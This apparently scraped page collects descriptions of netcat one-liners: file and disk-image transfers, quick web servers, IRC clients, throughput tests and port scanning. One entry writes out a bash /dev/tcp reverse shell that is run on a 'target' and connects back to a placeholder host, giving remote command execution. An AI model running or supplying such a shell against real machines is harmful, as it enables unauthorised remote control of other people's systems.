run 'nc yourip 5000', 'nc yourip 5001' or 'nc yourip 5002' elsewhere will produce an exact same mirror of your shell. This is handy when you want to show someone else some amazing stuff in your shell without giving them control over it.

Allow to launch nc like a daemon, in background until you still stop it. You can stop it with kill %1 (jobs method) or kill PID. The -k option can force nc to listen another connection, but if you use redirection, it will work only one time. The loop's inside doesn't do anything, but we can imagine to send a message to screen when a connection is established Show Sample Output

Very simple web server listening on port 80 will serve index.html file or whatever file you like pointing your browser at http://your-IP-address/index.html for example. If your web server is down for maintenance and you'd like to inform your visitors about it, quickly and easily, you just have to put into the index.html file the right HTML code and you are done! Of course you need to be root to run the command using port 80.

It bypasses encryption overhead of SSH and depending on configuration can be significantly faster. It's recommended to use only in trusted networks.

Simple one-liner for scanning a range of hosts, you can also scan a range of ports with Netcat by ex.: nc -v -n -z -w 1 192.168.0.1 21-443 Useful when Nmap is not available:) Range declaration like X..X "for i in {21..29}" is only works with bash 3.0+ Show Sample Output

This is sneaky. First, start a listening service on your box. nc -l 8080 -vvv & On the target you will create a new descriptor which is assigned to a network node. Then you will read and write to that descriptor. exec 5<>/dev/tcp/<your_box>/8080;cat <&5 | while read line; do $line 2>&5 >&5; done You can send it to the background like this: (exec 5<>/dev/tcp/<your-box>/8080;cat <&5 | while read line; do $line 2>&5 >&5;) & Now everything you type in our local listening server will get executed on the target and the output of the commands will be piped back to the client. Show Sample Output

Uses the extremely cool utilities netcat and expect. "expect" logs in & monitors for server PING checks. When a PING is received it sends the PONG needed to stay connected. IRC commands to try: HELP, TIME, MOTD, JOIN and PRIVMSG The "/" in front of IRC commands are not needed, e.g. type JOIN #mygroup Learn about expect: http://tldp.org/LDP/LGNET/issue48/fisher.html The sample output shows snippets from an actual IRC session. Please click UP button if you like it! Show Sample Output

Create an image of "device" and send it to another machine through the network ("target" and "port" sets the ip and port the stream will be sent to), outputting a progress bar On the machine that will receive, compress and store the file, use: nc -l -p <port> | 7z a <filename> -si -m0=lzma2 -mx=9 -ms=on Optionally, add the -v4g switch at the end of the line in order to split the file every 4 gigabytes (or set another size: accepted suffixes are k, m and g). The file will be compressed using 7z format, lzma2 algorithm, with maximum compression level and solid file activated. The compression stage will be executed on the machine which will store the image. It was planned this way because the processor on that machine was faster, and being on a gigabit network, transfering the uncompressed image wasn't much of a problem.

Requires a listening port on HOST eg. "cat movie.mp4 | nc -l 1356 " (cat movie.mp4 | nc -l PORT) Useful if you're impatient and want to watch a movie immediately and download it at the same time without using extra bandwidth. You can't seek (it'll crash and kill the stream) but you can pause it.

@putnamhill, no need if statement in that case. && is a AND and || is a OR

connect to it with any network command (including web browser - if you don't mind weird formatting) curl 127.0.0.1:9876 nc 127.0.0.1 9876 Show Sample Output

for udp nmap -sU -p 80 hostname

Doesn't work so well if you connect from windows. Linux only sends LF where windows wants CRLF. The alternative command works better with windows, however it uses script and a named pipe.

This one is tried and tested for Ubuntu 12.04. Works great for tailing any file over http.

Requires netcat.

Transfer tar stream thru nc with pv montoiring taken from: http://www.catonmat.net/blog/unix-utilities-pipe-viewer/ Show Sample Output

command | my_irc Pipe whatever you want to this function, it will, if everything goes well, be redirected to a channel or a user on an IRC server. Please note that : - I am not responsible of flood excesses you might provoke. - that function does not reply to PINGs from the server. That's the reason why I first write in a temporary file. Indeed, I don't want to wait for inputs while being connected to the server. However, according to the configuration of the server and the length of your file, you may timeout before finishing. - Concerning the server, the variable content must be on the form "irc.server.org 6667" (or any other port). If you want to make some tests, you can also create a fake IRC server on "localhost 55555" by using netcat -l -p 55555 - Concerning the target, you can choose a channel (beginning with a '#' like "#chan") or a user (like "user") - The other variables have obvious names. Show Sample Output

On the another machine write this command. pv -r /dev/zero | nc 192.168.1.1 7777 It will show live throughput between two machine.The destination machine ip is at our example 192.168.1.1 You must multiply by 8 for the network calculation. You must install pv and netcat commands for this commands usage. kerim@bayner.com http://www.bayner.com/ Show Sample Output

Better solution in case of many clients, imo. Show Sample Output

Send apache log to syslog-ng server without change configuration of syslog. Just add in httpd.conf or vhost conf.

`while true`: do forever `nc -l -p 4300 -c 'echo hello'`: this is the but anything can go here really `test $? -gt 0 && break`: this checks the return code for ctrl^c or the like and quite the loop, otherwise in order to kill the loop you'd have to get the parent process id and kill it. Show Sample Output

Do above at the Destination aka The Server. Do the following at the Source aka The Client: tar -cf - /srcfolder | pv | nc www.home.com 50002 If you want ETAs and stuff: tar -cf - /srcfolder | pv -s `du -sb /srcfolder | awk '{print $1}'` | nc www.home.com 50002 If you dont care about progress bars @ server/destination: tar -cf - /srcfolder | pv | nc www.home.com 50002 If you dont care about progress bars @ client/source: tar -cf - /srcfolder | pv -s `du -sb /srcfolder | awk '{print $1}'` | nc www.home.com 50002 I have this in alot better detail where there is more room to talk about it on my site: http://www.kossboss.com/linuxtarpvncssh Show Sample Output

A TCP server that keeps the same socket open, sending the contents of "file" repeatedly.

Adds high-performance, lightweight lz4 compression to speed the transfer of files over a trusted network link. Using (insecure) netcat results in a much faster transfer than using a ssh tunnel because of the lack of overhead. Also, LZ4 is as fast or faster than LZ0, much faster than gzip or LZMA, an in a worst-case scenario, incompressible data gets increased by 0.4% in size. Using LZMA or gzip compressors makes more sense in cases where the network link is the bottleneck, whereas LZ4 makes more sense if CPU time is more of a bottleneck.